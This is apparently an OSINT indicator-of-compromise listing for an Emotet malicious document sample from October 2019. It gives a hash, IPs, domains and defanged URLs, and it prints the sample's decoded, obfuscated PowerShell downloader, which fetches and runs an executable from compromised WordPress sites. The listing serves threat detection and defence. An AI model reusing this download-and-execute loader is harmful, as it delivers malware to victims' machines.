Emotet_Doc_out_2019-10-02_12_12.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
730e5725a1ec0a496c5f6222c029d3f6


IPs:
108.174.196.233
184.95.46.59
190.90.160.5
216.230.227.175
88.218.118.47


Domains:
healthshiny.com
joymakers.joyventures.com
sastodharan.com
www.averefiducia.com
www.nesagaviria.com


URLs:
hxxp://sastodharan.com/wp-admin/IWYPXKtgEa/
hxxps://www.nesagaviria.com/cloud/wp8k5p_xoqog-4543006057/
hxxp://healthshiny.com/wp-admin/ecCESGKTbF/
hxxp://www.averefiducia.com/wp-content/plugins/si-captcha-for-wordpress/gckzzkAsO/
hxxps://joymakers.joyventures.com/wp-content/uBhQpaMuh/


Decoded Base64 Powershell:
$C7FBT3p='nLwLwIk';
$Pz_jwQ = '200';
$SvRjS4bT='ND0zJj';
$Ui6cAJGV=$env:userprofile+'\'+$Pz_jwQ+'.exe';
$TLCwfpWJ='boZXwjNv';
$VK1XBak=&('new-'+'objec'+'t') NEt.WEB`CL`IEnt;
$qwbmnWd='hxxp://sastodharan.com/wp-admin/IWYPXKtgEa/
hxxps://www.nesagaviria.com/cloud/wp8k5p_xoqog-4543006057/
hxxp://healthshiny.com/wp-admin/ecCESGKTbF/
hxxp://www.averefiducia.com/wp-content/plugins/si-captcha-for-wordpress/gckzzkAsO/
hxxps://joymakers.joyventures.com/wp-content/uBhQpaMuh/'.SpLIt('
');
$pI4izVP='zBNL1z';
foreach($I1zPYpm in $qwbmnWd){try{$VK1XBak.DOwNloAdfiLe($I1zPYpm, $Ui6cAJGV);
$cPnJIKjz='tRcmYzh8';
If ((&('Ge'+'t-Ite'+'m') $Ui6cAJGV).lenGTH -ge 24616) {[Diagnostics.Process]::STArT($Ui6cAJGV);
$AKap8v1='di9zpfJ';
break;
$wTwjjWav='Vo5lhNh'}}catch{}}$aLZucu='Qo84oR'